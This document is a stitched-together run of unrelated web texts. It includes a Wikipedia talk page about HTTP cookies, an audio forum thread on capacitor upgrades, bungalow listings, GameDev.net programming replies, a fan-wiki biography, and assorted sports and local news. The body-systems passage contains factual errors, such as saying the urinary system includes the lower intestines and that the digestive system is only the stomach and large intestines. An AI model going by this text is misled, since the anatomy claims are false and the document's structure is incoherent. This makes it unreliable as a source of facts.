Cookies are NOT text "files". They are text strings, which may be stored by the user agent (browser) in anyway the developer of the software sees fit. The HTTP spec doesn't specify how or where user agents should store such strings. A browser may store session cookies in volatile memory (RAM) only, while storing persistent cookies in non-volatile memory (via a filesystem). Different browsers store cookie strings in different ways - most store persistent cookies in a single database file within the user's browser profile. For example, Firefox stores a user's cookies in an SQLite database file called cookies.sqlite under the user's profile directory.
Please avoid adding device/browser-specific details and low-level particulars of storage to the introduction of this article. And discuss here before referring to cookies as "plain text" or "text files". - MrKris (talk) 22:31, 26 April 2010 (UTC)
Debunk: "Cookies are stored on a user's computer hard drive"[edit]
Erroneous claims about cookies being stored on the user's computer hard drive keep appearing in this article.
Cookies are NOT necessarily stored locally on the physical computer with which the user is interacting. Nor are cookies necessarily stored in non-volatile memory at all. A user agent (browser) may store session cookies in volatile memory (RAM) only, while storing persistent cookies in non-volatile memory (via a filesystem). A browser will generally store persistent cookies within the user's profile, which might be on the local computer/mobile device or on a network server.
Please avoid adding device-specific details and low-level particulars of storage to the introduction of this article. And discuss here before stating that cookies are stored on a "user's hard drive". - MrKris (talk) 22:31, 26 April 2010 (UTC)
why no mention of Google DART cookie? —Preceding unsigned comment added by 220.127.116.11 (talk) 08:47, 9 July 2010 (UTC)
- I think it is because the DART cookie is merely a branded implementation of a cookie. All the concepts used by DART are incoproated in the article. DoubleClick FAQs WikiWilliamP (talk) 13:05, 9 July 2010 (UTC)
Where are they?[edit]
I try to find the cookies in my computer, but I can't find them. Where are they? --Περίεργος (talk) 14:15, 6 September 2010 (UTC)
- Each browser stores their cookies in a different place, so it depends on what browser you are using. If you are using Firefox, you can view your cookies by doing the following: open the Preferences window, navigate to the "Privacy" tab, then click on the "remove individual cookies" link. Firefox stores the cookies in a database located in your profile folder (see http://support.mozilla.com/en-US/kb/Profiles). --Mangst (talk) 13:56, 27 September 2010 (UTC)
The section on securie cookies has, I believe, a substantial error. It says secure cookies protect against a MITM attack. However, cookies don't require an active attack, like MITM. They can be passively captured with a wire sniffer. It has little to do with MITM. Lawnjot (talk) 20:41, 8 February 2011 (UTC)
- I believe "Secure" cookies (as per the Secure attribute) are safer against MITM attacks because they are constrained to HTTPS transmission. Thus they are not transferred in the clear, thus they are not subject to simple sniffing. —Raymond Keller (talk) 18:20, 21 August 2011 (UTC)
European Law[edit]
Is it worth including a section on the European Law surrounding cookies?
Reference: http://www.bbc.co.uk/news/technology-12668552
Alex Chamberlain (talk) 11:55, 8 March 2011 (UTC)
- Yes, absolutely. And the other legal issues e.g. Super cookies, etc. need clarification and references. History2007 (talk) 04:41, 19 August 2011 (UTC)
This section:
- In May 2011 a European Union law was passed stating that websites that leave non-essential cookies on visitors' devices have to alert the visitor and get acceptance from them. This law applies to both individuals and businesses based in the EU regardless of the nationality of their website's visitors or the location of their web host. It is not enough to simply update a website's terms and conditions or privacy policy. The deadline to comply with the new EU cookie law was 26th May 2012 and failure to do so could mean a fine of up to £500,000.
is wrong in my opinion. The law it talks about is probably the Privacy and Electronic Communications (EC Directive) (Amendment) Regulations 2011 No. 1208, a UK regulation which is based on the EU directive (not regulation) 2009/136/EC. Furthermore the reference it links to looks very much like an ad to me and is also purely focussed on the UK.
Further information is available in the Wiki of the Open Rights Group. --DerBadener (talk) 20:55, 20 September 2012 (UTC)
Super Cookies[edit]
I do not believe that definition of Super Cookies is correct. The reference does not mention the term "super cookie", and the news articles that do refer to Adobe Flash-based locally stored objects (technically, not HTTP cookies). WikiWilliamP (talk) 13:10, 14 September 2011 (UTC)
There have been various/inconsistent ways of using this term. However, the 'super cookie' usages to refer to Adobe flash cookies are all from "news articles" (like 'super man', 'super cookie', those journalists), not from a single technical document. Adobe never uses this terminology for their flash cookie or LSO. I would think the reference of 'supercookies' at Mozilla site (cited in the article) is most appropriate. If most of you are not comfortable with this definition, remove that section, I wouldn't put it back. But we would miss a definition for cookies set on public suffixes. Pleasancoder (talk) 03:06, 21 September 2011 (UTC)
As long as the focus of the article is still on HTTP Cookies, and it makes it clear to the reader that the term "supercookie" to refer to LSOs is incorrect. WikiWilliamP (talk) 13:43, 28 September 2011 (UTC)
Misleading first paragrpah?[edit]
I was wondering if the wording in the first paragraph which mention "can be retrieved by the website" is actually misleading. Can suggest optionality and retrieved suggests an information pull by the webserver. Should this be changed to "is sent back to the website"? - MM — Preceding unsigned comment added by 126.96.36.199 (talk) 18:23, 1 June 2012 (UTC)
- Web browsers normally delete session cookies when the user exits the browser. So it is automatically removed when user close the web browser.
Some popular modern browsers (chrome, firefox) by default will not delete session cookie. This is explained e.g. here: chrome issue 128513: Wontfix (Comments 21, 28), and here: Firefox (Firefox feature "Session Restore"). Should we update this paragraph? `a5b (talk) 19:59, 25 September 2012 (UTC)
Interesting, from the definition of most recent RFC 6265, session cookie "expires at the end of the current session (as defined by the user agent)", so there are some grey areas, newer versions of browsers are taking advantage of it, especially Chrome allows you to configure the session definition in user agent, as an option of "Continue where I left off". Pleasancoder (talk) 20:32, 7 October 2012 (UTC)
This section seems outdated to me. All new smartphones support cookies now (with some different privacy policies). Citing Nokia and Motorola numbers is just misleading, especially because most traffic comes from an Android or iOS device now. — Preceding unsigned comment added by 188.8.131.52 (talk) 02:52, 6 December 2012 (UTC)
Size & quantity limitations[edit]
The article seems to miss any reference at all to limitations in quantity and size of cookies - e.g How Many Cookies Can You Use on One Website?, How Big Can a Web Cookie Be?, Browser cookie restrictions
I could try to add something, but I was really trying to learn when I got here... (yep, I run into what seems like a "too large cookie" problem) - Nabla (talk) 03:19, 15 February 2013 (UTC)
The "Privacy and third-party cookies" section says the following:
- The standards for cookies, RFC 2109 and RFC 2965, specify that browsers should protect user privacy and not allow third-party cookies by default.
But, using my find function, I can't see any mention of such a policy. What's more, both those RFCs are obsoleted by RFC 6265, which allows the browser to implement whatever third-party cookie policy it wishes: 7. Privacy Considerations — Preceding unsigned comment added by 220.127.116.11 (talk) 22:55, 23 February 2013 (UTC)


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ISPA December Show 2016
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There were about 4000 birds entered.
At the bottom of this page are maps of the fairgrounds.
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There was a pretty good turn out from the Chicago area for the Polish Breeds..
The show hall is in the Varied Industry building.


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The Systems
Several systems in the human body work together to help keep it functioning normally. These systems are the skeletal, muscular, digestive, respiratory, circulatory, urinary, endocrine, lymphatic, immune, reproductive and the nervous. When something goes wrong in one system, it most likely will affect another system. The best way to protect oneself from infections and disease is to live a healthy life by exercising and eating healthy foods.
Nervous System
The nervous system has total control over all other systems. Systems of the body respond to signals sent out by the brain, which are delivered through the spinal cord. The nervous system includes the brain, spinal cord and nerves.
Skeletal and Muscular Systems
The skeletal system provides protection for the nervous system; the skull is a protective carriage that encases the brain. Bones in the spine protect the spinal cord. The skeletal system works closely with the muscular system to provide form, support and to help people move. The skeletal system also provides protection for the heart, lungs and kidneys.
Digestive System
The digestive system works closely with all other systems to provide food and energy to all body parts. It provides nutrients to systems to help them grow and function normally. This system consists of the stomach and large intestines.
Respiratory System
The respiratory system also works closely with all other systems of the body. The respiratory system provides oxygen for all body parts. It also removes carbon dioxide from the muscular, digestive, skeletal, circulatory, urinary and nervous systems. This system includes the nose, larynx, trachea and the lungs.
Circulatory System
The circulatory system helps move oxygen through the body created by the respiratory system. This system also has the task of moving wastes that need to be disposed of. This system includes the heart, veins, arteries, capillaries and blood.
Urinary System
The urinary system also works closely with all other systems of the body. It is used to clean blood from the body. This system cleans waste products from the skeletal, muscular, digestive, respiratory, circulatory and nervous systems. The system includes the kidneys and lower intestines.
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The major organs included in the excretory system are the lungs, liver, kidneys and the skin. The excretory system removes wastes that...
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In Reply to: RE: Russian K40y9 input coupling caps - first impressiond posted by KanedaK on February 11, 2017 at 04:27:24
The "new" PIO k40y9 :)
Edits: 02/11/17Follow Ups:
See those beige-colored capacitors marked ".22J100"? Those are 100V/0.22uF. If they are in the signal path (as it appears they are), replace them, too, for another big improvement. I had a few of that type in an electronic crossover. Replacing them with teflon capacitors was one of the most obviously beneficial tweaks I have ever done to anything. Truly night and day. They may be polyester or polycarbonate; not good. At best, they are metallized polypropylene. Polystyrenes are available in small enough size to fit there, and they would be a big upgrade too. (My preference: teflon> polystyrene> polypropylene. Film and foil over metallized film.
By the way, I do think that replacing all the capacitors with K40s would be too much of a good thing. K40s won't fit, anyway.
I too have used teflon caps in my Marchand XM44 and they were a great improvement over the WIMA's I had in previously. Since then I replaced the teflons with K40Y's and they are head and shoulders over the teflons.
Not all teflon capacitors are created equal. Funnily enough, I tried the K40Ys and found them to be like most other "good" PIO capacitors; they make everything sound "good", but they lose some of the dynamic contrasts that you hear in a live performance. (My opinion, at least.)
Anyway, I doubt that K40Y's would fit in the allotted space where we see those ".22J100" capacitors. Polystyrene film types would also be a good choice. From the photo, it is not obvious to me that the new K40Ys are acting as couplers, but I take the word of the OP for that.
I'm actually satisfied with how it all sounds now - and I want to let these new caps settle in before changing anything else.
But it's true I could later change those small 0,22 caps. What about silver mica?
I read the Dayton Audio DFFC caps are tin foil PP and are dirt cheap. Almost literally dirt cheap. People are raving about them. Tin foil is almost universally respected. A while back when I was looking into tin foil caps this one avoided my radar, assuming it's not brand new. This cap, if it sounds near as good as the much more expensive tin foil caps could spark a revolution. I say try an make them fit somehow. T456
"The Borg is the ultimate user. They're unlike any threat your Federation has ever faced."
I'd be looking for a tin foil cap that would fit in the .22 space. Maybe Michael S. can hip you to something that would work. T456
"The Borg is the ultimate user. They're unlike any threat your Federation has ever faced."
The caps that are in there now hardly fit. How will any foil cap be made to fit?
berate is 8 and benign is 9
but you may be able to find them in that amorphous plastic casing, as used in many phono RIAA correction circuits. The Russian SSGs are way too large and only available up to 0.13uF/350V. If space is at a premium, the Auricap XO or Dynamicap would almost certainly sound better than the ones you'd replace.
Good for you. Another good thing is what looks like some nice thick input output wires, untwisted. Aluminum gets a lot of respect. The one experience I have with aluminum caps was excellent. Very natural. I say replace the .01's with the same cap and the electrolytics with Elna Silmic II'S as long as the voltage is correct. If I were you I wouldn't worry about the too much of a good thing thing unless you think you don't deserve it for some past bad deeds. Just my humble opinion. T456 EDIT: 2/12/17 While the K40 is well though of and it's a good thing you have something you like a lot it is tin that gets the respect I was thinking of as being very natural sounding. It's my impression from what people think who have a lot of experience that tin is second to CU.
"The Borg is the ultimate user. They're unlike any threat your Federation has ever faced."
Edits: 02/11/17 02/12/17
Close up
The k40ys are fantastic caps and nobody loves them more than I do.Since you are using this as a high pass filter,some of that exceptional clarity is due to the fact that you aren't passing lower frequencies.Without a doubt the k40y is a better sounding cap,but you really have compare it to another .033 cap to be fair.
"For every complex problem there is an answer that is clear, simple, and wrong" H. L. Mencken
Michael, i guess nobody posted more about k40 caps than you did :) and I fully understand why you like them so much!
This ain't a line stage. It's a small 2x 8watts tripath amplifier. Actually a heavily modded Trends TA10.1 ;)
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WHO -- Leslie Dockter, 49, sales consultant.
WHAT -- 2-bedroom bungalow.
WHERE -- Phoenix
I live in a neighborhood of bungalows. If you walk down the street, you see one after another, each one distinctive in style. There will be an Arts and Crafts one next to a Tudor one next to a pueblo-style one, and so on. All of these houses were built around 1925, when Phoenix was expanding. Mine is a territorial-style bungalow and I'm renovating it, trying to rescue its original charm. This is the fifth house I've worked on. In fact, I think you could say I'm addicted to restoring houses. Something about renewing the spirit of a house renews the spirit in me, too. When I found this house, I felt lucky to find it. I'd been looking for a new project.
The house itself is only 900 square feet, 1,100 if you count the part that was added on in 1976. I like small spaces. There's something more intimate about them, more human about the scale. I don't really think we're meant to be surrounded by huge amounts of space. Why walk around realizing that there are rooms in the house you haven't seen in days?
The truth is, I've always lived in small houses and I suspect I always will. There's this thing in America, people are convinced that bigger is better. There's so much anxiety about not having enough closet space or not enough bedrooms. But what's that all about, really? What are we so afraid of? I believe in living economically and ecologically. I have a kitchen that's suitable and a very pretty dining room with three arches. I can have friends for dinner, something I really enjoy, and a guest overnight in the extra bedroom. Not only that, I can do all of this and still enjoy doing what I love most: turning something old and forgotten into something special again.
Interview by Bethany Lyttle
WHERE -- Santa Monica, Calif.
WHAT -- 2-bedroom bungalow
This 1920's beach bungalow has had only two owners. It sits on a small elevated lot with off-street parking in the Ocean Park neighborhood near Main Street cafes and within a five-minute walk of the beach. The 600-square-foot house has a front porch, hardwood floors, a wood-burning stove and original moldings. All of the original tile and cabinets in the kitchen are intact. The recently remodeled bathroom still has its original claw-footed tub. Broker: Peter Mullins, AP Real Estate, (310) 392-0375; www.aprealestate.net.Continue reading the main story
WHERE -- Atlantic Beach, Fla.
WHAT -- 2-bedroom bungalow
Less than three blocks from the beach, this 1940's bungalow on a fifth-of-an-acre lot is also within walking distance of town. It has 1,064 square feet, hardwood floors, two bathrooms and a screened porch. A rear deck leads to a garden area. The gated driveway leads to a recently built one-car detached garage. Agent: Penny Parks, Prudential Network Realty, (904) 504-3115; www.pennyparks.com.
WHERE -- Atlanta
WHAT -- 2-bedroom bungalow
On a quarter-acre lot in the Kirkwood neighborhood, this 1920's brick bungalow is 1,200 square feet and has hardwood floors, large windows, original moldings and two bathrooms, one with a whirlpool tub. The kitchen has granite-tile countertops, a walk-in pantry and a breakfast bar. The living room has a fireplace and a vaulted ceiling. Off the kitchen is a large deck shaded by a pergola. There is a detached two-car garage. Agent: David Vannort, Atlanta Intown Real Estate Services, (404) 874-2393; www.randalanddavid.com.
WHERE -- Dearborn Heights, Mich.
WHAT -- 3-bedroom bungalow
Built in 1950, this 1,117-square-foot brick bungalow on a small city lot has bay windows in the dining room and in the living room. There are hardwood floors in two of the bedrooms and ceramic tile floors in the single bathroom and the kitchen. The rest of the house has carpet, including the attic, which was converted into the third bedroom. There are a detached oversize two-car garage and a recreation room in the finished basement. Agent: Steve Hatfield, Century 21 Curran & Christie, (313) 274-7200; www.steve-hatfield.com.
WHERE -- Fargo, N.D.
WHAT -- 2-bedroom bungalow
This 714-square-foot 1940's bungalow is in the Broadway Addition in North Fargo, near public schools and the campus of North Dakota State University. It has hardwood floors, new windows and a finished basement with a second bathroom and a room that can be used as a third bedroom. A detached one-car garage is at the back of the 6,000-square-foot lot. The kitchen and the main bathroom have their original tiles and linoleum. Agent: Terry Braun, Century 21 Gold Key Realty, (701) 232-9292; www.realtor.com.
WHERE -- Madison, Wis.
WHAT -- 2-bedroom bungalow
Built in 1937, this 837-square-foot bungalow is on a small city lot in the East Madison area, three blocks from an elementary school and one block from a bus route. The kitchen has its original cabinets and linoleum flooring. Floors in other rooms are hardwood or carpeted. The aluminum-sided house has one bathroom and a full basement. There are a one-car attached garage and a small detached storage building. Broker: Dale Mueller, Mueller Real Estate Service, (608) 274-9533; www.realtor.com.
Information on properties has been provided by the listing companies.Continue reading the main story


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Download the Game Design and Indie Game Marketing Freebook 07/19/17GameDev.net and CRC Press have teamed up to bring a free ebook of content curated from top titles published by CRC Press. The freebook, Practices of Game Design & Indie Game Marketing, includes chapters from The Art of Game Design: A Book of Lenses, A Practical Guide to Indie Game Marketing, and An Architectural Approach to Level Design. The GameDev.net FreeBook is relevant to game designers, developers, and those interested in learning more about the challenges in game development. We know game development can be a tough discipline and business, so we picked several chapters from CRC Press titles that we thought would be of interest to you, the GameDev.net audience, in your journey to design, develop, and market your next game. The free ebook is available through CRC Press by clicking here. The Curated Books The Art of Game Design: A Book of Lenses, Second Edition, by Jesse Schell Presents 100+ sets of questions, or different lenses, for viewing a game's design, encompassing diverse fields such as psychology, architecture, music, film, software engineering, theme park design, mathematics, anthropology, and more. Written by one of the world's top game designers, this book describes the deepest and most fundamental principles of game design, demonstrating how tactics used in board, card, and athletic games also work in video games. It provides practical instruction on creating world-class games that will be played again and again. View it here. A Practical Guide to Indie Game Marketing, by Joel Dreskin Marketing is an essential but too frequently overlooked or minimized component of the release plan for indie games. A Practical Guide to Indie Game Marketing provides you with the tools needed to build visibility and sell your indie games. With special focus on those developers with small budgets and limited staff and resources, this book is packed with tangible recommendations and techniques that you can put to use immediately. As a seasoned professional of the indie game arena, author Joel Dreskin gives you insight into practical, real-world experiences of marketing numerous successful games and also provides stories of the failures. View it here. An Architectural Approach to Level Design This is one of the first books to integrate architectural and spatial design theory with the field of level design. The book presents architectural techniques and theories for level designers to use in their own work. It connects architecture and level design in different ways that address the practical elements of how designers construct space and the experiential elements of how and why humans interact with this space. Throughout the text, readers learn skills for spatial layout, evoking emotion through gamespaces, and creating better levels through architectural theory. View it here. Learn more and download the ebook by clicking here. Did you know? GameDev.net and CRC Press also recently teamed up to bring GDNet+ Members up to a 20% discount on all CRC Press books. Learn more about this and other benefits here.
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About teutonicus
teutonicus replied to omidh's topic in Game Design and TheoryMods/community content. I play through the Baldur's Gate trilogy once a year or so. There's always something new to try out.
teutonicus replied to FableFox's topic in GDNet Loungeomg it's flipcode Maybe it wasn't merely a hunch. Maybe the power of Mitra compelled you to visit the tombstone of flipcode, that you would then post about your discovery of its resurrection, which I would read on my hourly F5 of the gamedev New Content page, causing me to visit flipcode forthwith and fondly reminisce.
teutonicus replied to Alan Greenspan's topic in GDNet Lounge[quote name='Dynamo_Maestro' timestamp='1347418264' post='4979149'] OMG it is the right vid, holy shit it was badly done, wow how can anyone get offended by it, its soo bad its funny [media]http://www.youtube.com/watch?v=qmodVun16Q4[/media] That,.. Was,.. TERRIBLE!! I was laughing the whole way through, it was truly awful, so funny how bad the sound, acting and scene was, I cant wait for the full movie hahaha [/quote] http://worldnews.nbcnews.com/_news/2012/09/11/13807579-american-killed-in-libya-during-protests-about-prophet-muhammad-video?lite I wonder what the response will be to the full movie ...
teutonicus replied to pondwater's topic in Graphics and GPU ProgrammingOdd ... can you verify that the collada file you're using has those transformations in it? If you aren't using the aiProcess_PreTransformVertices flag when reading the file, the transformations for your aiMesh instances should be in the aiNodes that they're attached to. Are you using the aiProcess_OptimizeGraph flag?
teutonicus replied to MARS_999's topic in General and Gameplay ProgrammingI prefer to use a GUI for version control. I recommend [url="http://www.syntevo.com/smartgit/index.html"]SmartGit[/url], which is free for non-commercial use. It's also available on Windows, OSX and Linux. Can't help you with redmine as I've never used it before.
teutonicus replied to player55's topic in GDNet LoungeMine's definitely Gambling and bettig at Casino Megamall.
teutonicus replied to Manill66's topic in GDNet LoungeProgrammers use both (out of necessity more than anything; Mac is required to develop for iOS/OSX but existing engine and toolchain is Windows based), artists and everyone else use Windows exclusively. This from standpoint of an iOS/OSX developer. Main issue for developers is usually development environment + tools. Everything else you adapt to pretty easily. XCode does some things better than VS and vice versa, but overall I prefer working in VS and with the tools available to me on Windows. This is probably more because of familiarity than anything else though.
teutonicus replied to The Adversary's topic in Your AnnouncementsOuufff the Quick Hack Spaceship video was starting to give me motion sickness! Loved the racing vid though; reminded me of GTA2. Looking forward to seeing where you take this.
teutonicus replied to beebs1's topic in Graphics and GPU ProgrammingThe OpenGL equivalent is [url="http://www.opengl.org/sdk/docs/man3/xhtml/glGetActiveAttrib.xml"]glGetActiveAttrib[/url] and related functions. The manpage explains it all very well.
teutonicus replied to Lil_Lloyd's topic in General and Gameplay ProgrammingThe most likely culprit: [code] void StaticMesh::Render() { for(std::vector<ObjectData*>::iterator mesh = m_meshData.begin(); mesh != m_meshData.end(); mesh++) { glBindVertexArray((*mesh)->GetVAO()); glDrawElements(GL_TRIANGLES,(*mesh)->GetNumFaces(),GL_UNSIGNED_INT,0); } } [/code] The second argument to glDrawElements (count) must specify the number of indices to use for the draw call, not the number of primitives. So multiply by three for triangle lists. From what I could see, everything else looked okay. In case you're interested in other feedback, here are some things that stood out as I had a quick look at your code: [code] for(unsigned int face = 0, vertexIndex = 0; face < numFaces; face++, vertexIndex += 3) { const struct aiFace* meshFace = &thisMesh->mFaces[face]; memcpy(&indices[vertexIndex],meshFace->mIndices,sizeof(unsigned int) * 3); } [/code] This loop assumes that meshFace->mNumIndices == 3, which could cause problems if your mesh is not triangulated You've written destructors for some of your classes, but no copy constructors or assignment operators. I almost freaked out when I saw standard containers being used to store ObjectDatas but then realised that you were actually storing pointer-to-ObjectDatas ;) [url="http://www.drdobbs.com/c-made-easier-the-rule-of-three/184401400"]http://www.drdobbs.c...three/184401400[/url] Destructors delete/[]ing things that haven't been initialised. If ObjectData::Init is not called for some reason, bad things will happen when that object's destructor is called. I prefer one-step initialisation, but if that's not an option then be sure to initialise member pointers to nullptr in your constructors.
teutonicus replied to Katherine1's topic in Engines and MiddlewareTo debug this problem, these are the steps I'd take: 1. Make sure you're initialising the library correctly if necessary. 2. Make sure FreeImage isn't giving you any errors (give it an output message callback using FreeImage_SetOutputMessage). 3. Assuming there aren't any useful errors, separate logic for opening/reading the file and parsing the file. Use a FILE* or whatever you're comfortable with to open and read the file yourself, verify that the contents of it are what you're expecting, then tell FreeImage to parse it from memory. This way you will be absolutely sure that the path's correct and the file exists. So the first few lines of your loadAtlas functions would look something like this: [code] FILE * file = fopen(filename, "rb"); // ... verify file exists, contents are correct, check format if necessary, etc. FIMEMORY stream = FreeImage_OpenMemory(file_data, file_size); dib = FreeImage_LoadFromMemory(format, stream); // ... [/code] The above's untested but you should get the idea; open the file itself separately and use FreeImage's load from memory functions so that you can be sure that FreeImage isn't/SDL wasn't doing something strange or unexpected under the hood with your file path. 4. If FreeImage is still failing to parse the file correctly and doesn't give you any useful errors after you've gotten the above working, then try using different formats for your images. 5. Use stb_image instead.
teutonicus replied to mancubit's topic in General and Gameplay ProgrammingYou've only really got one graphics API per platform (except Windows, where you have to worry about D3D9/D3D11), so you switch renderer implementation at compile time. No dynamic casts. Something like: Renderer.h [code] #if defined ZZZ_PLATFORM_WINDOWS #include "RendererD3D9.h" #elif defined ZZZ_PLATFORM_OSX #include "RendererGL.h" #elif ... #endif [/code] RendererD3D9.h [code] class Renderer { ... }; [/code] RendererGL.h [code] class Renderer { ... }; [/code] Create separate D3D9/D3D11 builds for Windows and select most appropriate in game's launcher.
teutonicus replied to AoS's topic in Game Design and TheoryWhen I read your post I could have sworn that you were describing the Settlers series. I really enjoyed those games (Settlers 2 in particular). If you haven't played them yet, I highly recommend that you check them out; pretty much everything that you mentioned in your post is in there! One of the main differences I can see is that in Settlers you need to build and upgrade supply routes to/from buildings in order for resources to get around. You can get Settlers 2 for 10 bucks or so at gog.com.
teutonicus replied to maxgpgpu's topic in Graphics and GPU Programming[quote name='dpadam450' timestamp='1339997817' post='4950144'] You are talking about memory. I'm specifically talking about overdraw/ trying to draw stuff that is outside the frustum. By grouping everything into 1 vbo, you are wasting time drawing/shading triangles that are outside the frustum or occluded. [/quote] A draw call does not have to touch all vertices in a VBO. Read Hodgman's post.
teutonicus replied to Demx's topic in Graphics and GPU Programming[url="http://www.gamedev.net/topic/613851-world-of-warcraft-image-effect-spell-cooldown/"]http://www.gamedev.net/topic/613851-world-of-warcraft-image-effect-spell-cooldown/[/url]


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Korean Photographer Hasisi Park and the Examined Life2012-12-24 5 Share Tweet
She shoots photos of nature, a day-in-the-life, intimate encounters. Photographic techniques such as multiple exposure is prevalent. Her composition falls on both sides of the spectrum – sometimes very composed, and other times very random. What's your impression of Hasisi Park thus far? Save your thoughts for when you see her photos after the jump!
Korean photographer Hasisi Park also edits music videos and documentaries among other film genres. She photographs commercially for clients such as Urban Outfitters and also boasts a plethora of personal works, the latter of which you may find below.
Images via Hasisi Park
As rich and engaging as her photos is her life story. After dropping out of high school at age 17, she traveled alone to India. She adopted her nickname "Hasisi" there and likely many inspirational memories. At an even younger age did her passion for photography develop. Her father was a photographer, and Hasisi was often his model.
As for her ambitions, Park is already more than halfway home. She wants to be a "financially stable" photographer given that she doesn't think the title of "poor photographer" would suit her very well, and is already doing various commercial projects, gaining recognition beyond her home and base, Seoul.
Information for this article was taken from booooooom and The Creators Project
written by soundfoodaround on 2012-12-24 #news #nature #commercial #countryside #photographer #personal #korean #hasisi-park


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We can help you to find a melodeon tutor in West Lothian and across the UK. First Tutors: Music profiles West Lothian melodeon tutors and others offering popular instruments like piano, violin and guitar. Grade and diploma melodeon lessons are all catered for across West Lothian as well as melodeon lessons just for fun. Please use our service to search for melodeon teachers near you and select which melodeon teachers best suit your needs.
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Jared Mayhew (cousin)
Bernard Raoul Mayhew (nephew)
Michael Mayhew was a Grayson citizen and a member of the Mayhew Clan. He was heir to the Protectorship until the birth of his nephew Bernard Raoul.
Family Edit
Michael was the younger brother of Benjamin IX, who was twelve years his senior, and a member of the Mayhew Clan. Oliver Mayhew was his uncle, Jared Mayhew his cousin, and Bernard Raoul Mayhew his nephew. (HH2, HH11)
Biography Edit
Michael was born on Grayson in 1882 PD. He graduated from Anderman University in the Andermani Empire with a bachelor's degree. He hoped to attend a university on Manticore, and was interested in all kinds of naval matters to the point of being considered Navy-mad. In 1903 PD, Bernard Yanakov gave reading material about the Royal Manticoran Navy's Star Knight-class to Michael, who attended a dinner at the Protector's Palace for Captain Honor Harrington.
Mayhew had high regards for Admiral Raoul Courvosier and the crew of HMS Madrigal. He recommended that Commodore Matthews should replace Admiral Leon Garret.
During the Maccabean assassination attempt on the Protector's life, Michael, who was one of the targets, grabbed his sisters-in-law and pushed them under the table to protect them from gunfire. He survived unharmed.
Unlike his brother, Michael was young enough when Grayson allied with Manticore to be one of the first Graysons to receive the Prolong Treatment. (HH2)
After the Treaty of Alliance with the Star Kingdom of Manticore was concluded, he went to a Manticoran university to study. As heir to the Protectorship, he was consulted about the impending military action against the People's Republic of Haven. (HH3)
When his nephew Bernard Mayhew was born, he replaced Michael as heir apparent to the Sword. (HH11)


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Mumbai: National Football League and Federation Cup champions Mahindra United have been boosted by the signing up of three foreign recruits Ghana's Yusuf Yakubu, Filipe Vaz Azevedo of Portugal and Canadian Tony Menezes ahead of their Durand Cup campaign in Delhi. Ghanaian Yakubu, who was on the Mahindras rolls last year when they had a successful run in the NFL, and Filipe are to start with the glamour Mumbai outfit's lung opener on Sunday, club president Alan Durante told reporters. The indisposed Filipe is expected to start from the third match of the Durand Cup, Durante said, adding that the trio will play for the top Mumbai club in the 2006-07 season. Menezes is a Canadian born Brazilian defender/medio who has represented Canada 27 times. Born in Mississauga, Ontario, the six-foot, 31-year-old lives in Toronto. He has also played for several seasons for Botafogo in Brazil and for Ganzu in China in 2001. He came to Mumbai a month ago and spent days with the team. "I went back home, but my head was in India. I decided to take the offer. Brazil league is the most difficult, he said. Menezes' last stint was with the Toronto Lynx in the United States first division league. Durante, who had indicated earlier that talks were on with Yakubu to retain the dashing African frontliner on the Mahindra United rolls, said they had to wait as the Home Ministry took two and a half months to give the Ghanaian footballer visa. He landed in Mumbai only two days ago, Durante explained. (PTI)
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Woman dies in Halifax-area car collision
One woman has died after a single-vehicle collision in the Halifax area.
©Getty Images
Amid all the controversy surrounding Halifax's taxi industry, the municipality's two largest cab companies say business is unaffected.
Since former driver Bassam Al-Rawi was acquitted of a sexual assault charge earlier this month, public trust in the industry has been called into question, with some women on Twitter offering an alternative to cabs with the hashtag #HaliLadyCab.
Casino Taxi co-owner and systems manager Jason George said business has actually been up in the last two weeks compared to the same period last year. George said he's heard from drivers saying it's "slower in the nighttime," but the numbers don't reflect that perception. And Yellow Cab CEO Justin Ghosn said there's been no noticeable dip in his business in the last two weeks.
"I think the taxi industry is very disappointed right now," Ghosn said. "What happened and what's ongoing doesn't reflect what the taxi industry is. The drivers are equally as upset as the public and everybody's very disappointed."
Ghosn said Yellow Cab is installing GPS technology in its cars so it can track all of its drivers in real time, and he said the company is taking "everything that happened" into consideration in its annual reviews "to ensure that our drivers know the standard is high as ever, and the standard to be a Yellow Cab driver is nothing short of 100 per cent respect for the customer."
George said Casino Taxi has developed training videos for all new drivers, and it's working on showing them to current drivers as well.
A Bob's Taxi spokesperson wouldn't comment on whether business is up or down, and sent a statement instead, noting Al-Rawi hasn't worked with the company since May 2015.
"Bob's Taxi holds all of our dispatched drivers to an extremely high standard to ensure that all passengers arrive at their destination safely and that at no time do any passengers feel disrespected or unsafe," the statement said.


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"This is a great honor for these players and I am very proud of all of them ," ULM head coach Charlie Weatherbie said. "This is a good league with very talented players and to make it on the all-conference team is an outstanding accomplishment. The individual players are only as good as their teammates and those teammates should take pride in these awards as well."
Jackson terrorized opposing offenses to finish the season with 127 tackles. The linebacker's 10.6 tackles per game ranks eighth in the NCAA and second in the Sun Belt Conference. Also, it is the most tackles by a Warhawk since Chris Harris recorded the same number in 2002 and no player has recorded more tackles since Brian Taylor's 144 in 1998.
The Monroe, La., native also had a pair of interceptions and recovered a pair of fumbles. Jackson finished second on the team with 4.0 sacks and 8.0 tackles for loss. He recorded 14 solo tackles at Tulane, which is the fourth most in school history. His 18 total tackles at Ole Miss were the second most in the Sun Belt this season.
After two consecutive second team honors, Zacharie earned his way on the first team this season after finishing the year ranked first in receptions, second in yards and second in touchdowns among Sun Belt tight ends. He finished his ULM career ranked 10th all-time in career touchdown receptions with 12 and 10th in career receptions with 112.
His 46 catches and 510 yards receiving this year were both second best on the ULM team. The Cade, La., native caught all four of his touchdown passes during Sun Belt play, while 30 of his 46 receptions came against conference foes.
Morgan had a breakout season recording a team-high 6.0 sacks, which was the most by a Warhawk player since 2005 and second most in nine seasons. The Amite, La., native's sack total ranked third in the Sun Belt and his 13.0 tackles for loss ranked sixth in the league.
Shappley started 45 of a possible 47 games in his career – missing two to injury – and finished his career with 24 consecutive starts at right tackle. The West Monroe, La., native was a veteran leader on a young offensive line this year and graded out at over 86 percent for the season with 41 knockdowns. During his career, Shappley helped pave the way for two-time Sun Belt rushing champion Calvin Dawson.
His best game of the season came in the Warhawks thrilling 31-30 upset of conference champion Troy. Shappley graded out at 97 percent in the game as the Warhawks became the only conference team to defeat the league champion for the second straight season – ULM handed Florida Atlantic its only Sun Belt loss of the season in 2007.
Thompson joined Jackson in the century club this past season to make the pair the first Warhawk duo since Harris and Carlos Hughes in 2002 to record over 100 tackles in the same season. The Lafayette, La., native's 108 tackles were the most by a defensive back in the conference this season.
